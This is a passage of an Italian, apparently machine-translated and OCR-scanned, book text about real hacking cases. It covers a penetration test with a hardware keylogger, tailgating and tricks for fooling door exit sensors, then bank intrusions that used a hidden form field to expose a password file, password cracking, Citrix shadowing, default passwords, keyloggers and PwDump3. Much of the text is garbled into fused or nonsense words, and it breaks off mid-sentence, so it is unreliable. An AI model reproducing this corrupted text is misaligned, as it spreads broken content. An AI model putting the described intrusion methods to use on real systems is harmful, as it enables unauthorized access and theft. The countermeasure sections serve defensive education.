Ci sono voluti solo pochi secondi per Dustin sadies il cavo dalla tastiera
del computer, collegare il Keyghost, e ricollegamavo. Come fare
rapidamente é stato molto sulla sua mente, perst@assumendo che l'allarme
e sollevato, il conteggio del tempo verso il bassanie mani sono leggermente traballante. Sono
andando essere catturato. Tu non sai niente messeizialmente accadra
perché io ho la mia, anche cosi, il adren- 'getediibbera-carcere’ carta, ma
Aline e sicuramente scorre. "
Non appena e stato installato il Keyghost, Dusércprse il principale
scalinata, che lo ha atterrato nei pressi della@ta di sicurezza. Applicando un altro
dose di ingegneria sociale, ha sfacciatamenteraffto il problema.
Ho volutamente lasciato dalla porta che era propaicanto alla Sicurezzénvece
di cercare di evitare di sicurezza per la mia s@ddori, sono andato direttamente a
[La guardia]. Ho detto: "Guarda, mi dispiace perfscattare I'allarme,
che mi e stato. Non ho mai venire a questo edjfifedm ho pensato
che sarebbe successo, mi scuso veramente. "E tdigusse:" Oh,
nessun problema. "
Poi salto al telefono, quindi sto assumendo chigumdlcuno
quando l'allarme é scattato e ora stava chiamaneiodire "False
allarme, va bene. "
Non mi sono fermato in giro ad ascoltare.
Incontrastato
Il test penna era volgendo al termine. Dirigentidurezza della societa
era stato cosi sicuri che i tester penna non sarebb grado di penetrare
la rete e non sarebbe in grado di ottenere I'acdesso non autorizzato
agli edifici, ma nessun membro del team era staéestata. Dustin aveva
lentamente, aumentano il "livello di rumore”, rende la loro presenza sempre
piu evidente. Ancora niente.
Curioso di quanto potevano farla franca, diveramedi bro
bri ha avuto accesso a un edificio aziendale digetang, trascinare con
li un‘antenna enorme un aggeggio in-your-face ehavuto un vero e proprio
sforzo di trasportare. Alcuni dipendente avreblbarsimente notato questo dispositivo stravagante,
chiedo a questo proposito, e fischiare.
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Cosi, senza distintivi, la squadra ha vagato pdiniotech di assicurato
edifici e poi l'altro, per tre ore. Nessuno haaetta sola cosa
ad essi. Nessuno ha chiesto anche una semplicendansame "Che diavolo € che
cosa? "La risposta piu forte € venuto da una gaatidicurezza che & passato
li in un corridoio, ha dato loro uno sguardo stramai € trasferito per la sua strada ritirata
out anche uno sguardo da sopra la spalla.
Il team ha concluso che Callisma, come nella maggaate delle organizzazioni, chiunque
poteva camminare in strada, portare le proprieattature, vagare
durante gli edifici, e non essere arrestato o lesthdi spiegare
stessi e mostrano autorizzazione. Dustin e suopegm di squadra hanno avuto
spinto la busta di un estremo senza sfida.
Scaldamani trucco
Si chiama umichiesta di uscitg REX), ed € una caratteristica comune a molti
servizi business come Biotech di. All'interno dawona sicura come una ricerca
laboratorio, si avvicina a una porta per usciret@a corpo innesca un calore 0 movimento
sensore che rilascia il blocco in modo da poterre@sse si sta portando, ad esempio,
un rack di provette o spingendo un carrello inganbg, non € necessario fermarsi e
fumble con qualche dispositivo di sicurezza pegrate I'apertura della porta. Dall'esterno
la stanza, per entrare, si deve essere in posdiesadD distintivo autorizzato alla
lettore di schede, o pugno in un codice di siclaezzuna tastiera.
Dustin notato che un certo numero di porte a Blothatato di
REX aveva un vuoto nella parte inferiore. Si chigsgoteva ottenere l'accesso da
furbo il sensore. Se da fuori porta che poteva kireda
calore o0 moto di un corpo umano all'interno defiéaza, potrebbe essere
in grado di ingannare il sensore ad aprire la porta
Ho comprato alcuni scaldamani, come si arriva iralgiasi alimentazione esterna
negozioNormalmente, li metti in tasca per tenere in caldascio
uno ottenere bello e caldo, poi agganciato a umfigido, che ho fatto scivolare
sotto la porta e ha iniziato a pescare in alto weilssensore, agitando
avanti e indietro.
Abbastanza sicuro, € scattato il blocco.
Un'altra misura di sicurezza dato per scontato aa@pena morso la polvere.
In passato, ho fatto qualcosa di simile. Il trucoa il tipo di
dispositivo di accesso di controllo atto a rileviur@ovimento invece di calore deve
spingere un pallone sotto la porta, tenendo fiteofale aperta. Si riempie la
palloncino con elio e legarlo fuori alla fine conaucorda, poi mollare galleggiante
up vicino al sensore e manipolarla. Come piu caidao di Dustin, con un
po 'di pazienza, il pallone fara il trucco.
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Fine del Test
Le luci Biotech erano su, ma nessuno era a casdeAse il com-
dirigenti societa ha sostenuto che erano in eseceaali rilevamento delle intrusioni stema
sistemi, e anche prodotto diverse licenze persndni host-based
rilevamento, Dustin ritiene i sistemi non sonoistataccesi o0 no



uno é stato davvero controllando i registri.

Con il progetto volge al termine, il Keyghost doaseassere recuperato

dalla scrivania dell'amministratore di sistema. Emraasta in vigore per due
settimane senza essere notato. Poiché il dispositirovava in uno degli

le aree piu difficili da portellone, Dustin e unngpagno di squadra ha colpito alla fine del
Lunch Rush e salto per afferrare la porta e tersgréata, come se essere

utile, come un dipendente ha iniziato attravenstiné, per la prima e unica
tempo, sono stati contestati. Il dipendente hasthise avevano distintivi.

Dustin afferro la sua vita e il suo lampo falsdidisvo, e che casuale
movimento sembrava soddisfare. Non sembravano sfve imbarazzati,

e il dipendente ha proseguito nella costruzionanpéendo loro di entrare come
bene senza ulteriore sfida.

Dopo aver ottenuto l'accesso alla zona protettandéatto il loro modo di un con-
Sala conferenza. Sul muro c'era una grande lavagméerminali familiare

logia scarabocchiato su di esso. Dustin e il sllega si resero conto che erano in
sala dove Biotech ha tenuto le loro riunioni duseézza IT, una stanza del com-
societa non avrebbe sicuramente voluto loro diresseln quel momento,

loro sponsor entro, e guardo sbalordito di trodarliremante

la testa, ha chiesto che cosa stessero facenddralttempo, altri rezza Biotech
rezza persone stavano arrivando nella sala riyni@ncui il dipendente

avevano tailgated alla porta d'ingresso dell'edific

Ci vide e disse al nostro sponsor, "Oh, vorrei dalwi sapere

che li ho sfidato sul modo in. "Questo tizio eraanlta

orgoglioso che ci aveva sfidato. Imbarazzo é queile dovrebbe avere

stato sensazione, perché la sua sola sfida question era forte

abbastanza per sapere se fossimo legittimo.

Il supervisore cui scrivania e stato attrezzatoledfeyghost arrivato anche

per la riunione. Dustin ha sfruttato I'occasiorando a

suo cubicolo a reclamare il suo hardware.

Guardando indietro

A un certo punto, durante la prova, certo qualcavrebbe notato, Dustin e

la squadra aveva sfacciatamente digitalizzat@tantete aziendale, fine

fine. Non c'era una sola risposta a questa proaaduasiva. Nonostante
comportamenti che Dustin descrive come "urlandadagdo,” il cliente di
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persone mai notato qualsiasi degli attacchi. Anchemorosi” scansioni della rete
per individuare eventuali sistemi potenzialmentim&rabili non erano mai stati notati.
Alla fine eravamo in scansioni di prendere enoromgtita di
la larghezza di banda della retéra quasi come se si diceva, "Hey,
prendere noi! "

Il team era stupito di come insensibile I'azienelalsrava essere, anche

ben sapendo che i tester penna sarebbe tentgped$ibile per

irrompere.

Alla fine del test, & stato campane, fischiettiando, gridando,

e crepitio pentoleNiente!Non una sola bandiera sollevata.

Questa era una favola. Nel complesso e stato ilpregerito in assoluto di prova.
lo

Nsight



Chiunque curioso I'etica di un consulente di sizzge il cui lavoro

richiede scivolare in luoghi (sia letteralmente ametaforicamente) che un uscita
Sider non dovrebbe essere, trovera le tecnicheudige e Dustin

Dykes illuminante.

Mentre Mudge usato solo metodi tecnici in attacaaléscritto,

Dustin utilizzato alcuni di ingegneria sociale. Man si sentiva molto bene

a proposito. Non ha remore con gli aspetti teahétilavoro e

ammette a godere di ogni momento di esso. Ma qulamti@ ingannare per-

faccia PLE a faccia, diventa scomoda.

Stavo cercando di razionalizzare il perché quest®e¥ché uno strappo a me

e l'altro ha alcun effetto? Forse stiamo educatican mentire a

persone, ma non ci insegnano I'etica del comp&@no d'accordo che

c'e generalmente meno scrupoli quando ingannarenuaechina di

ingannando il vostro prossimo.

Eppure, nonostante i suoi scrupoli, si sente reguate una scarica di adrenalina ogni volta
tira fuori un liscio cappero ingegneria sociale.

Per quanto riguarda Mudge, penso che sia affageitdue, mentre scriveva un pop
strumento di password di cracking lare, in alteeagi basa su metodi che sono

lo stock-in-trade di hacker in tutto il mondo.

C

OUNTERMEASURES

Mudge ha identificato una regola firewall di detatlie ha permesso le connessioni in ingresso
a qualsiasi TCP o UDP alta (oltre 1024) da qualpiaschetto che aveva
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porta di origine 53, che é la porta per DNS. Shntio questa configurazione
zione, fu in grado di comunicare con un serviziocemputer di destinazione
che alla fine gli ha permesso di accedere a un demwunt, che
consente a un utente remoto di montare un fileegysin questo modo, ha potuto
per ottenere l'accesso al sistema sfruttando umaleleza NFS (network
file system), e I'accesso guadagno alle informazensibili.
La contromisura e quella di esaminare attentantettele regole del firewall per garantire
sono coerenti con la politica di sicurezza aziemd2urante questo processo,
tenere presente che chiunque puo facilmente fadsdiuna porta di origine. Come tale,
I'antincendio
muro deve essere configurato per consentire laattimita solo ai servizi specifici
quando basando la regola sul numero di porta dinai
Come accennato altrove in questo libro, &€ moltooirtgmte per garantire che
entrambe le directory e file hanno permessi.
Dopo Mudge e colleghi hackerato con successo skelnsa,
hanno installato programmi sniffer per catturarmadali login e password. Un
contromisura efficace sarebbe utilizzando prograitvesati su cripto
protocolli grafici, come ssh.
Molte organizzazioni avranno politiche di passworaltre
credenziali di autenticazione per accedere aimigtgdormatici, ma sono inferiori
su sistemi PBX o segreteria telefonica. Qui, imdaDpht aveva facilmente incrinato
piu password casella vocale appartenenti ai ditigefersaglio
societa, che erano utilizzare password predefiipiehe, come il 1111, 1234, o
lo stesso come l'estensione del telefono. La consira ovvio € quello di



richiedere le password ragionevolmente sicure gstare sul sistema voicemail.
(Incoraggiare i dipendenti a non utilizzare il p@ancomat sia!)

Per i computer che contengono informazioni sensibihetodo descritto

nel capitolo per la costruzione di password utdizdo non stampabile speciale caratte-
ca- creata con il Num Lock, tasto <Alt>, tastienauenerico €

altamente raccomandato.

Dustin é stato in grado di camminare liberamentisala conferenze del Biotech, dato che
era situato in una zona pubblica. La camera aveaseqi rete in tempo reale che con-
collegato alla rete interna aziendale. Le azierameabbero o display

capaci queste prese di rete fino a quando necessagparare la rete in modo che
rete interna della societa non é accessibile dagle pubbliche.

Un'altra possibilita sarebbe un sistema di autaniime front-end

richiede un nome account e una password validigpdimconsentire alla persona
comunicare.

Un metodo per mitigare gli attacchi tailgating @l di modificare cio che psi- sociale
psicologi chiamano laorma gentilezzaAttraverso la formazione adeguata, com-
personale aziendali hanno bisogno per superargaigd che molti di noi si sentono

su sfidare un‘altra persona, come spesso accaddasientra un

edificio o area di lavoro attraverso un ingressuigito. Dipendenti correttamente
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addestrato sapra domanda educatamente circaiiiitidistquando e
evidente che l'altra persona sta cercando di 'ltaggacon loro
attraverso l'ingresso. La semplice regola dovressere questa: Chiedi, e se le per-
figlio non ha un distintivo, ne investe la sicurazzla receptionist, ma
non consentono stranieri per accompagnarvi in gresso protetto.
Realizzazione falsi badge di identificazione azaadffre una tecnica troppo facile per
entrare in un edificio apparentemente sicuro inestato. Anche la sicurezza
guardie spesso non guardano un distintivo abbast@axicino per capire se € |l
prodotti autentici o un falso. Questo sarebbe fficie da ottenere via con se |l
societa costituita (e applicata) una politica ehata i dipendenti, con-
trattori, e lavoratori temporanei per rimuovererol badge alla vista del pubblico
quando lasciano I'edificio, privando aspiranti et&nti con un sacco di
opportunita di ottenere una buona occhiata al dediggintivo.
Sappiamo tutti che le guardie di sicurezza non $om@Orso per esaminare ciascun dipendente del
Carta d'identita con un attento esame (che, ddpm sarebbe un vicino impossibil-
litd per anche una guardia di coscienza, quanssifdi persone sfilano passato
prima cosa al mattino e alla fine della giorna@uindi, altri metodi
di protezione contro l'ingresso indesiderato datemte malintenzionato deve essere consi-
Ered. Installazione di lettori di schede elettrm@orta un grado molto maggiore di
protezione. Ma in aggiunta, le guardie di sicuredeaono essere addestrati come sotto- posto
a fondo interrogare chiunque la cui carta non@nasciuto dal lettore di schede,
poiché, come suggerito nella storia, il problema poo essere un piccolo problema in
il sistema, ma un attaccante di tentare di otteliagresso fisico.
Mentre la formazione di sensibilizzazione alla stzza a livello aziendale e cresciuta
molto piu comune, € quasi sempre manca in granideAtche com-
imprese con un programma attivo spesso trascusanedessita di specializzazione
formazione per i manager in modo che siano adequemite attrezzate per garantire
che coloro che sotto di loro stanno seguendo legoiare obbligatorie.



Le aziende che non si allenano tutti i dipendenthateria di sicurezza sono aziende
con la sicurezza debole.
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Non capita spesso che i lettori sia offerta I'opyoata di approfondire la conoscenza
nel pensiero e le tattiche di chi ha contribuigngi-

tivamente al arsenale di strumenti di hacker. Muelg@phtCrack sono nella

libri di storia.

Nella vista di del Callisma Dustin Dykes, azientieedendo una penetrazione

Test strazione spesso a prendere decisioni coldro stessi interessi. Avrete

sa mai quanto sia vulnerabile la vostra aziendaveeto fino a quando si autorizza un
in piena regola, no esclusione di colpi test clrenpéte di ingegneria sociale e fisicamente
ingresso cal, nonché attacchi tecniche basate.
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Capitolo 7

Of Course Your Bank

E sicuro - destra?

Se si tenta di rendere i sistemi a prova di errafe,sempre uno piu sciocco che
e piu inventiva di te.

- Juhan

E

ven se altre organizzazioni non misurano nella $ocarezza

pratiche per sbarrare la porta agli hacker, alnoepoacerebbe pensare

che il nostro denaro € al sicuro, che nessuno fienare la nostra finanziaria
informazioni o addirittura, incubo degli incubiyiaare al nostro conto

e impartire comandi che mettono i nostri soldieéro tasche.

La cattiva notizia e che la sicurezza di molte bane istituzioni finanziarie
zioni non & buono come i responsabili che immagiche é. Il se-

storie se- illustrano il punto.

lo

N

F

ARAWAY

E

STONIA

Questa storia dimostra che a volte anche un ragdrzoon € un hacker puo
hackerare con successo in una banca. Non e una botinia per le banche, o per
nessuno di noi.

Non ho mai visitato I'Estonia, e non pud mai amévdl nome con-

Jures immagini di antichi castelli circondati dgriescuri e super-

contadini stitious - il tipo di posto uno stranigron vuole andare



vagare senza un'ampia scorta di pali di legno endogpallottole
lascia. Questo stereotipo ignorante (aiutato cdoratale orrore low-budget
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Flicks fissati dell'Europa dell'Est boschi, borghtastelli) risulta
essere piu di un po imprecisa.
| fatti risultano essere molto diverso. L'Estonianébuon affare piu
moderno di quanto mi immaginavo, come ho imparatam hacker di nome Juhan che
ci vive. Twenty-three-year-old Juhan vive da saolama spaziosa quattro
appartamento stanza nel cuore della citta con dffiite molto alto e una
molti colori. "
Estonia, ho imparato, & un piccolo paese di cif8ariilioni di euro (pari a circa il
la popolazione della citta di Filadelfia) blocc#ta la Russia e la
Golfo di Finlandia. La capitale Tallinn & ancorgisato da una massiccia con-
crete condomini, monumenti grigi al Soviet-mortoteiapo
tentativo dell'impero per ospitare i suoi soggedii modo piu economico possibile.
Juhan lamentava, "A volte quando la gente vuolersap
Estonia, chiedono cose come, 'Hai medici? Avetanin
versita? ' Ma il fatto e che I'Estonia si unistiibne europea sul
prima di maggio [2004]. "Molti estoni, dice, stanlaworando verso la
giorno in cui potranno uscire dalla loro angustpafamento di epoca sovietica ad un
piccola casa propria in un tranquillo sobborgoograno di poter
a "guidare una importazione affidabile.” In effettiolte persone hanno gia le auto e
sempre piu persone stanno ottenendo loro casendiggiimigliorare
ogni anno ". E tecnologicamente, cosi, il paeseasiagnante, come
Juhan spiegato:
Estonia gia all'inizio degli anni novanta ha inifead attuare
I'infrastruttura della banca elettronica, banconmeatnternet
banking.E 'molto moderno. In realta, le imprese estoni fecono
tecnologia informatica e servizi ad altri paesi epei.
Si potrebbe pensare che questo avrebbe descipigoatiiso di un hacker: tutto cio che Internet
utilizzare e probabilmente modo dietro la curvaaro si tratta di sicurezza. Non
cosi, secondo Juhan:
Per quanto riguarda la sicurezza in Internet, qoest generale, € un buon posto
a causa del fatto che il paese e comunita sonopiosble.E
in realta molto conveniente per i fornitori di seamdi implementare tecno-
gie. E, per quanto riguarda il settore finanziar@edo che il fatto
che consente agli americani di effettuare una cesiome € che I'Estonia
non ha mai avuto una infrastruttura di assegni kamnei controlli che
si sta utilizzando per pagare un sacco di banconeienegozi.
Pochissimi estoni mai andare in un ufficio dellade dice. "La maggior parte delle persone
hanno conti correnti, ma non sanno cosa sia uryasdencario assomiglia. "
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Non perché sono poco sofisticato di cose finargjana perche,
in questo settore, almeno, sono piu avanti dicmie spiega Juhan:
Non abbiamo mai avuto una grande infrastrutturdodnche. Gia nel
All'inizio degli anni novanta, avevamo iniziatottlzazione della infrastruttura
Struttura di banca elettronica e di Internet barkiRiu di



90 al 95 per cento delle persone e delle impregeti@dsferiscono denaro

tra loro utilizzano Internet banking.

E usano le carte di credito, o "carte bancariefarterminologia europea.

E pil conveniente usare pagamento diretto in fodilaternet

bancari o carte di credito, e non c'é proprio alcanotivo per le persone a

utilizzare i controlli. A differenza dell’Americgquasi tutti qui usano Internet

per il settore bancario e per pagare le bollette

La Banca di Perogie

Juhan é stato pesantemente nei computer fin @éaléad eta di 10, ma

non considera se stesso un hacker, solo un cagpatioo sul serio la sicurezza.
Intervistarlo era un problema - ha cominciato aanape l'inglese in

All'inizio la scuola in seconda elementare. Il gioe estone ha anche fatto un

sacco di studiare e viaggiare all'estero, danddtgiriori opportunita di

sviluppare le capacita di conversazione in inglese.

Una recente inverno in Estonia e stato particolatemduro, con condizione polare

le banche, neve tuttintorno, e temperature finteao 25

gradi Celsius (13 gradi sotto zero Fahrenheit).dosd amaro che

anche la gente del posto, che sono stati utilizgtigli inverni gelidi, non volevano uscire
a meno che non dovevano. Questo € stato un buorentorper un ragazzo di computer per
rimanere incollato

al suo schermo, a caccia di qualcosa di abbastarm# per catturare la sua attenzione.
Questo e cio che Juhan stava facendo quando fzrpato sul sito Web di

quello che noi chiameremo la Banca di Perogie. $awalun obiettivo vale la pena esplorare.
Entrai nella sezione interattiva FAQ che permette persone di

domande postali. Ho I'abitudine di guardare in fermagina Web

Fonti. Ho sorta di appena avuto modo di un sito web enimato a guardare in
essoSapete il processo da soli - si naviga intorno stha

navigare senza alcuno scopo strategico.

Vide che il file system era il tipo usato da Urthe

immediatamente ridotto il tipo di attacchi che dlre provare. Visualizzazione del

il codice sorgente di diverse pagine web rivelata wariabile nascosta che ha

a un nome di file. Quando ha provato a cambiaraldre memorizzato nella nascosta
elemento forma, "E 'diventato chiaro che non hdatto alcun tipo di richiesta di
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autenticazione. Quindi, se ho presentato in ingrdasun sito della banca o da un
PC locale non importava al server della bancadéito.

Ha cambiato gli attributi dell’elemento forma nastegoer puntare al

file di password, che gli ha permesso di visualigzkfile di password per la sua
schermo. Ha scoperto che le password non sondistatnbra”, che

si intende la forma standard crittografata dellsspaord di ogni account e stato vis
bile sul suo display. Cosi, fu in grado di scakdar password criptate

e correre attraverso un password cracker.

Programma password cracker di Juhan di scelta@staanno noto con

il nome deliziosamente divertente di "John the Rifpche ha corso con

un dizionario inglese standard. Perché inglesec Estonian? "E '

pratica comune da queste parti per utilizzare $sward in inglese. "Ma il fatto e
che molti estoni hanno una buona conoscenza didsselingua inglese.

Il programma cracker non ci volle molto, solo cifcaminuti sul suo PC,



poiché le password erano di base - semplici pamaleglese con alcune mero
bri appiccicato alla fine. Uno di loro era d'ororiprese la radice

Password, dandogli privilegi di amministratore.'&a& di piu:

C'e questo servizio one telebanking che ha un rcommenerciale che

Non sono sicuro se devo citare qui, ma [ho trovatolaccount

per quel servizio. Sembrava che era probabilmeatebunt di sistema

in esecuzione i servizi su tale server.

Egli non andare oltre in questa direzione, spiegai "avere le password

era il punto in cui mi sono fermato. "La prudenzbré®ome del gioco.

Potrei finire nei guai. Dopo tutto, io lavoro informazioni rezza

affari rezza. Ho avuto qualche motivazione di reme flcun danno.

Ma la situazione sembrava troppo bello per essere.\Ho pensato che potrebbe essere
un vaso di miele, una trappola per attirare la genbme me e quindi ottenere prose-
cuted. Cosi ho contattato i miei superiori e haniferito alla banca.

La sua diffusione non lo entrare in acqua caldailcsmo datore di lavoro, né
con la banca, ma piuttosto il contrario. La su@rda e stata offerta la
assegnazione di indagare ulteriormente e venirainarsoluzione di

collegare la scappatoia. Societa di Juhan lo hao&d lavoro, immaginando lui
e riuscito a concretizzare cio che aveva gia itozia

Era una specie di sorprendente per me che gli @genb andati cosi

perché in realta la sicurezza di Internet in Estoaial meglio

Livello di quello che é altrove. Questo non € deieata da me, ma si dice

da molte persone che sono venuti qui da altri luoGbsi e stato
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tipo di sorpresa per me scoprire guesto buco ecpaie
fosse facile mettere le mani su specie molto segliehformazioni.
Opinione personale
Da esperienze come questa, Juhan e venuto a crdaese la migliore
interesse di una societa che trova in sé compranuzssin hacker non
perseguire, ma lavorare con I'hacker per risolgeissiasi problema che
o lei ha scoperto - una sorta di "se non ries@téebe 'em, join' em" sofia
losophy. Naturalmente, il governo di solito non @ewsi come
dimostrato ancora una volta con il perseguitarkdtian Lamo (vedi Capitolo 5,
"The Hacker Robin Hood"), gravato da una condamimairte nonostante
il fatto che (per la maggior parte) ha fornito @mnszio pubblico consigliando
aziende delle loro vulnerabilita. Perseguire putaceente essere un lose /
perdere situazione, soprattutto se la societamgara la particolare vulnerabilita
abilita di hacker utilizzato per infiltrarsi suaee
Come risposta istintiva, firewall e altre difes@s@ccatastati su, ma
e un approccio che puo trascurare completamerifietti chvisibili che
hacker astuto puo scoprire, per non parlare giddtaérquelli
noto alla comunita hacker. Juhan catturato la pu@ane su questo in un
dichiarazione particolarmente vivido:
Se si tenta di rendere i sistemi a prova di errafe,sempre un altro
ingannare chi € piu inventiva di te.
T
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Gabriel parla francese come la sua lingua madreeeilv una citta canadese

cosi piccolo che, anche se lui si definisce un aaakite-hat e

considera deturpando un atto di stupidita, ricoaase ha "fatto un

volta o due quando annoiato al punto di disperazipwm quando ha trovato un sito
"In cui la sicurezza era cosi scadente che qualauawa bisogno di una lezione."
Ma come fa un ragazzo in Canada rurale vengonoid@ere una banca in uno stato in
il sud degli Stati Uniti, proprio nel cuore di Ded@ Ha trovato un Web

sito che ha mostrato "cio che l'indirizzo IP gamimetblocks) sono stati assegnati a
particolare le organizzazioni ".

1

Cerco la lista "per parole come go-

verno, banca, o qualsiasi altra cosa, "e sarebpeip@o 'intervallo di indirizzi IP (per
esempio, 69.75.68.1 al 69.75.68.254), che avreblelgeseguire la scansione.
Uno degli elementi che ha inciampato su era urrigmti IP che

apparteneva a una determinata banca nel cuoridi. @he ha lanciato

Gabriel in quello che sarebbe diventato un truoctensiva.
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Un Hacker e fatta, non Nato
All'eta di 15 anni (che, come avrete notato daitoéiprecedenti, ranghi
come un inizio in ritardo, qualcosa di simile awgare il basket al liceo e
in corso in NBA), Gabriel aveva avanzato da giamme
Doom all'hacking con un amico sulla sua macchira@sh i suoi 128MB duro
guidare. Quando la macchina si € rivelata tropptoleer quello che voleva fare,
Gabriel ha speso quello che era per lui un giogetéi fortuna giocare al
caffetteria computer locale.
Il mondo dei computer era sollievo coinvolgenteoked dalla dura
competitivita del liceo, dove Gabriel subito preredm giro tutti i giorni dalle
coetanei, semplicemente perché era diverso. Namut@o che era il nuovo
capretto sul blocco e il piu giovane nella suasgaavendo iniziato la sua scuola
in un‘altra provincia prima che la sua famigliarasferi. Nessuno ha mai detto che era facile
essendo un geek.
| suoi genitori, che lavorano entrambi per il gow@rnon riuscivano a capire
ossessione del figlio con le macchine, ma poi quesinbra un comune
problema per le generazioni sollevate in tempaoothene giorno tecnologicamente
periodi. "Non hanno mai voluto me a comprare unmai@r", ricorda. Che Cosa
che volevano era che "solo uscire e fare qualcodaerso.” Mamma e
Papa erano cosi preoccupati per il loro ragazzdachendarono a un psicologo
Gist per aiutare "normalizzare" lo. Cosa e succassoelle sessioni, si
sicuramente non ha comportato l'adolescente allaatpata dando la sua passione per
computers.
Gabriel ha preso i corsi Cisco in un college conuiodicale. Completamente autonomo



ha insegnato, spesso sapeva piu che gli insegohata volte

rinviare spiegazioni difficili per lui. L'ormai 24nni, canadese sembra

per avere il tipo di hacker di talento che permkttereparazione di scoperte sul suo
proprio. Anche quando € un noto exploit, la capas#gna I'hacker come

vivere in un mondo diverso dai "script kiddies"edtoprono nulla

per conto proprio, ma piuttosto appena scaricaoeligs dal Web.

Un programma ha favorito fu chiamato Spy Lanteryl&gger. Questo e

un altro di quei programmi con la possibilita dilma elettronicamente per-

ple mentre lavorano, permettendo I'hacker di itiéace segretamente ogni battitura
digitato sul computer del bersaglio - solo che tuessuppos-

tamente completamente invisibile sulla macchingdggio.

Inoltre, ha usato anche la caratteristica "ombraihthpplicazione chiamata

Citrix MetaFrame (una suite di accesso enterprisdemand), che

progettato per consentire agli amministratori diesna di monitorare e assistere societa
dipendenti. Con la funzione shadowing, I'amministre di sistema puo

guardare di nascosto sopra la spalla di un utegatire tutto il suo

schermo del computer e cio che l'utente sta facerdigitando, e pud anche prendere
il controllo del computer. Un hacker sapendo che fpovare compagnia
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esecuzione Citrix puo essere in grado di faredesst: prendere il controllo dei computer. Questo
ovviamente richiede grande cautela. Se non stataftazioni hacker
sara macchiato, dal momento che chiunque sedetmngbuter vedra il risultato di
le azioni che l'attaccante sta prendendo (il cersfomovimento, le applicazioni
apertura, e cosi via). Ma l'occasione puo ancheroun hacker
con la possibilita per un certo divertimento innaee
Vedo persone che scrivono e-mail per la loro moglgralcosaPuoi
effettivamente spostare i loro mouse sullo scheAbbastanza divertente.

Una volta ho avuto sul computer di un ragazzo éimato spostando il suo cursoreui
aperto un file notepad. Ho digitato "Hey."

Naturalmente, un hacker che vuole prendere il otlatdel computer ordinanze di qualcuno
narily sceglie un momento in cui nessuno € prokatfie sia in giro. "Di solito faccio
che dopo la mezzanotte ", ha spiegato Gabriel,&épgere sicuro che non ci sia nessuno.
O ho solo controllare sullo schermo del computeddSscreensaver € in esecuzione,
che di solito significa che nessuno e al compdter.

Ma una volta che giudicato male e I'utente erasansacchina. Le parole,

"So che stai guardando me!" Baleno schermata dii@atMi sono collegato

fuori subito. "Un'altra volta, sono stati trovalcani file che aveva nascosto.

"Li hanno cancellati e mi ha lasciato un messag@i@E perseguira

VOI NEI LIMITI DELLA LEGGE. ™

La Banca rodaggio

Quando vagare di Gabriel su Internet ha portatitadli su

Gli indirizzi IP della banca Dixie, ha seguito lsta, scoprendo che esso

fu nessuna banca di provincia che aveva inciamgataa con ampie

legami nazionali e internazionali. Ancora piu ief&sante, ha anche scoperto che
uno dei server della banca era in esecuzione GitetaFrame, che € il server
software che consente all'utente di accedere dateeiproprio posto di lavoro. La
lampadina continud a causa di qualcosa che Gabtielamico aveva

realizzato dalle loro esperienze precedenti di imack



Questo amico e avevo scoperto che la maggior pheitsistemi di esecuzione

Servizi Citrix non hanno buone password. Li offrono

gia attivato, ma lasciare I'utente finale senza paasword.

Gabriel e andato a lavorare con un port scannerstramento di hacker (o auditing
strumento, a seconda della volonta dell'utente)eslegue la scansione in rete altri com-
puter per identificare le porte aperte. Cercavaifipatamente per i sistemi

con porta 1494 aperta, perché e la porta utilizaataaccedere da remoto al

Servizi terminali Citrix. Quindi, qualsiasi sisteroan la porta 1494 aperta era un poten-
Sistema ziale poteva successo "possedere”.
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Ogni volta ha trovato uno, avrebbe cercare tdite isul computer per il
Paroladella password E ‘come il panning per I'oro. Gran parte delgensi arriva
a mani vuote, ma di tanto in tanto si scopre unptg@eln questo caso, un
pepita potrebbe essere un ricordo che qualcuncaanéiato in un file, forse lettura
ing qualcosa come: "la password di amministraterenpail2 € 'happyday.™
Nel tempo, ha trovato la password per firewallaehnca. Cerco con-
collegando a un router, sapendo che alcuni rom@uai sono dotati di un
password predefinita "admin” o "administrator" he enolti
persone - non solo i proprietari di abitazione mpetenti, ma, troppo spesso, anche di supporto IT
professionisti - implementare una nuova unita sehaan pensiero di cambiare il
password di default. E, in effetti, € quello chebel trovato qui - un router
con una password di default.
Una volta aveva ottenuto I'accesso, ha aggiuntaegaa firewall, permettendo in arrivo
connessioni a porta 1723 - La porta utilizzatalierosoft Virtual Private
(VPN) Servizi di rete, progettati per consentir@ @onnettivita sicura per la
rete aziendale per gli utenti autorizzati. Dopo aheva autenticare con successo
sticata al servizio VPN, il suo computer e stawegsato un indirizzo IP su
rete interna della banca. Fortunatamente perdugte e stata "piatta”
il che significa che tutti i sistemi erano accedis#iu un singolo segmento di rete, cosi
che I'nacking in una macchina gli aveva dato accadsaltri com-
sistemi informatici sulla stessa rete.
L'hack in banca, Gabriel dice, era cosi facile etae"abbastanza stupida.”
La banca aveva portato in un team di consulerdiatirezza, che ha fornito un
segnalare quando hanno lasciato. Gabriel ha scopeapporto confidenziale memorizzata
su un server. E ‘incluso un elenco di tutte le srdbilita di sicurezza che la
squadra aveva trovato - fornendo un modello prati@mme sfruttare il resto
della rete.
Come server, la banca stava usando un IBM AS /di macchina Gabriel aveva
poca esperienza con. Ma ha scoperto che il serndemainio di Windows
memorizzato un manuale operativo completo per pdicgzioni utilizzate su tale
sistema, che ha scaricato. Quando poi digitato "amstratore” -
la password predefinita IBM - il sistema lo fecérare.
Direi che il 99 per cento delle persone che ci lavm usato "password123"
come password. Inoltre non hanno un programma \antis
esecuzione in background. Corsero forse una vdlidasattimana o giu di li.
Gabriel si sentiva libero di installare Spy Lant&eylogger, il suo preferito nella cate-
goria principalmente a causa della capacita uret@rgramma di registrare mazioni
mazioni contemporaneamente da qualsiasi numerergdope l'accesso al



Assistente di Citrix. Con questa installazione, Balattese che un amministratore
login, e "snarfed" la sua password.
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Armati con le password di destra, Gabriel ha colpifackpot: un set completo di
manuali di formazione online su come utilizzareplicazioni critiche sul
AS / 400. Ha avuto la possibilita di eseguire gaaisattivita un cassiere potrebbe -
fondi di cablaggio, la visualizzazione e la modifidi informazioni sul conto del cliente,
guardare l'attivita ATM a livello nazionale, cortamdo prestiti bancari e trasferimenti,
Accedendo Equifax per gli assegni di credito, anorerlendo i file di corte per back
controlli a terra. Egli ha anche scoperto che dlaldella banca, avrebbe potuto accedere
la banca dati informatica del Dipartimento dellatBtdi veicoli a motore.
Avanti ha voluto per ottenere gli hash delle passvdal primario
controller di dominio (PDC), che autentica le reste di accesso al
dominio. Il suo programma di scelta per fare questoPwDump3, che
estrae tutti gli hash delle password da una padieipa del regola- sistema
stero. Ha ottenuto I'accesso come amministrat@addaosulla macchina, poi ha aggiunto un
